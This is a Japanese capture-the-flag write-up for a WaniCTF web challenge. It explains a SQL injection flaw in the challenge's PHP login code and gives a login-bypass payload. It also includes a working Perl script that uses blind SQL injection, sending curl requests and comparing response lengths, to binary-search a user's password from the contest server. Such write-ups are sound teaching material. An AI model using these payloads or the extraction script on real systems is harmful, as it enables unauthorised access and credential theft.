WebページのURLと、そこで動いているプログラムの情報と考えられるファイル群が与えられた。
目的は、指定のメアドの人のパスワード(=flag)を求めることである。
php/html/db.php
を見ると、
$r = $db->query("SELECT * FROM users WHERE email = '" . $email . "' AND password = '" . $password . "'");
という行があり、入力データをノーガードでSQL文に埋め込んでいる。
例えば、Email addressをaaa
、Passwordをaaa' or '1'='1
とすることで、ログインに成功する。
Email addressとPasswordとして指定できる文字数には制限があるが、Passwordを
' or email='wanictf21spring@gmail.com' and ASCII(SUBSTRING(password,1,1)) < 128 or '1'='
というような形式にすることで、ログインが成功するか否かによって、
文字数を増やさずにpassword
の指定の位置の文字の情報を得ることができる。
ログインに成功したかどうかは、レスポンスの長さによって簡易判定することができる。
attack.pl
#!/usr/bin/perl
use strict;
use warnings;
# is $pos-th character (1-origin) $q or less?
sub check {
my ($pos, $q) = @_;
my $req = "curl -k -s -X POST -F \"email=a\" -F \"password=' or email='wanictf21spring\@gmail.com' and ASCII(SUBSTRING(password,$pos,1)) <= $q or '1'='\" https://watch.web.wanictf.org/";
open(CURL, "$req |") or die("curl error\n");
my $res = "";
while (<CURL>) { $res .= $_; }
return length($res) > 3000;
}
my $answer = "";
my $pos = 1;
for (;;) {
my $no = 0;
my $yes = 255;
while ($no + 1 < $yes) {
my $m = $no + (($yes - $no) >> 1);
if (&check($pos, $m)) {
$yes = $m;
} else {
$no = $m;
}
}
my $ans = chr($yes);
warn "$pos : $ans\n";
$answer .= $ans;
if ($ans eq "}") { last; }
$pos++;
}
print "$answer\n";
FLAG{bl1ndSQLi}